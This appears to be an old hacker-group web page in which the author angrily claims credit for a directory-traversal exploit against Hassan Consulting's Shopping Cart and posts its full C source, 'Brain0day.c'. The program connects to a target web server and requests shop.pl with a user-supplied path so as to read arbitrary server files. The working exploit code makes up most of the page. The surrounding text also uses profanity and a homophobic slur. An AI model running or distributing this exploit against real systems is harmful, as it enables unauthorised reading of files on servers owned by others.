|-- i wanna use this webspace to say FUCK YOU !! --|
|-- to all u kiddie's who steal others codes ! ----------|
 

Yo at first i am really pissed that my exploit is now on SecurityFocus.com
i don't want to name this gay ass, i don't want to get him some attention,
but however, if u see the hassan consultings shopping card Exploit,
i discovered it.. thats what u get when u share 0days :P
Its not a special exploit, but anyway it was my work !!

-
Here is the original code (besides the Banner is changed a bit) :
-

------------ [Begin Brain0day.c] ------------
 

/*********************************************************\
 *  !! ELECTRONIC-SOULS CREW ONLY !!            *
 *  !!    - DO NOT DISTRIBUTE     !!                     *
 *  !! IF U SEE THIS EXPLOIT ON SECURITYFOCUS, I FOUND   *
 *  !! THIS EXPLOIT b4 THIS GAY ASS POSTET IT, SO STFU   *
 *  -----------------------------------------------------*
 *  Exploit Hassan Consulting's Shopping Cart.           *
 *  -----------------------------------------------------*
 *  vulnerable to a ../.. exploit,u can get              *
 *  access to every file on the vulnerable server !      *
 *  Exploit discovered by BrainStorm                     *
 *  Tested on BSDi 3.1                                   *
 *  Exploit Coded by v0id - da_v0id@antionline.org       *
\*********************************************************/
 

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BOLD "\033[00;01m"
#define RED "\033[01;31m"
#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"

int main(int argc, char **argv[])
{
  struct sockaddr_in sin;
  struct hostent *host;
  char buf[8192];
  int sock, rt, len;

  if (argc != 3) {
    printf(BOLD"Usage: %s <host> <string>\n"NORM, argv[0]);
  }
  host = gethostbyname((void *)argv[1]);
  sock = socket(AF_INET, SOCK_STREAM, 0);

  bzero(&(sin.sin_zero), 8);
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = htonl(INADDR_ANY);
  sin.sin_addr.s_addr = ((struct in_addr *)(host->h_addr))->s_addr;
  sin.sin_port = htons(80);

  rt = connect(sock, (void *)&sin, sizeof(sin));
  if (rt == -1) {
    perror(RED"connect"NORM);
    exit(1);
  }

  printf(GREEN"Connected to %s\n"NORM, argv[1]);

  memset(&buf, 0, sizeof(buf));
  sprintf(buf, "GET /cgi-local/shop.pl/page=%s HTTP/1.0\n\n", argv[2]);
  printf(GREEN"Sending %s\n"NORM, argv[2]);
  send(sock, buf, sizeof(buf), 0);

  while (1) {
    memset(&buf, 0, sizeof(buf));
    len = sizeof(buf);
    rt = read(sock, &buf, len);
    if (rt <= 0) exit(0);
    printf(GREEN"%s\n"NORM, buf);
 
  }
 printf(NORM"\n");
}

/* ElectronicSouls */
 

------------ [End Brain0day.c] ------------
 

Greetings:
RobBbot, LordLunatic, IT_FRESH, FreQ, v0id, s0lar, FiberOptik, websk8ter,
le0n, doom, modify, Internexus, SectorX, fiasco, potgirl ;) , JW23, ghQst,
philer, warlord1101, KeltecSub9, derf-, ttyp123, FREAK88, CraigTM, zoltrax,
OveRRide, [Kr-0N-1K], sturm.. and #RSH , #!0x7f , #ElectronicSouls
..on irc.dugnet.net
 

[EOF]